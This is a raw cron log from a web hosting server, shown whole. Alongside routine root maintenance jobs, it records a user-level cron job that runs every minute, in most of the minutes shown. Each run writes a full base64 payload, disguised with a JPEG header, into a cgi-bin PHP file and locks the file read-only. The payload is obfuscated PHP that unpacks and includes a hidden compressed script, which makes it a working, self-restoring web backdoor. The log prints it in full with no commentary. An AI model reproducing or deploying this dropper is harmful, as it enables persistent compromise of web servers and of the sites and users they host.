Sep  7 17:54:01 server CROND[31043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:55:01 server CROND[31414]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:55:01 server CROND[31415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:55:01 server CROND[31416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:55:01 server CROND[31417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:55:01 server CROND[31421]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 17:55:01 server CROND[31419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:55:01 server CROND[31418]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:56:01 server CROND[32325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:56:01 server CROND[32326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:56:01 server CROND[32327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:57:01 server CROND[32707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:57:01 server CROND[32708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:57:01 server CROND[32710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:57:01 server CROND[32709]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 17:58:01 server CROND[632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:58:01 server CROND[635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:58:01 server CROND[636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:59:01 server CROND[1026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:59:01 server CROND[1028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:59:01 server CROND[1027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:00:01 server CROND[1507]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 18:00:01 server CROND[1508]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:00:01 server CROND[1512]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:00:01 server CROND[1518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:00:01 server CROND[1521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:00:01 server CROND[1522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:00:01 server CROND[1523]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 18:00:01 server CROND[1524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:00:01 server CROND[1525]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:00:01 server CROND[1528]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 18:01:01 server CROND[2505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:01:01 server CROND[2507]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 18:01:01 server CROND[2506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:01:01 server CROND[2508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:01:01 server run-parts(/etc/cron.hourly)[2507]: starting 0anacron
Sep  7 18:01:01 server run-parts(/etc/cron.hourly)[2525]: finished 0anacron
Sep  7 18:02:01 server CROND[2929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:02:01 server CROND[2928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:02:01 server CROND[2930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:03:01 server CROND[3309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:03:01 server CROND[3310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:03:01 server CROND[3311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:04:01 server CROND[3688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:04:01 server CROND[3689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:04:01 server CROND[3691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:05:01 server CROND[4070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:05:01 server CROND[4072]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:05:01 server CROND[4073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:05:01 server CROND[4077]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 18:05:01 server CROND[4074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:05:01 server CROND[4079]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
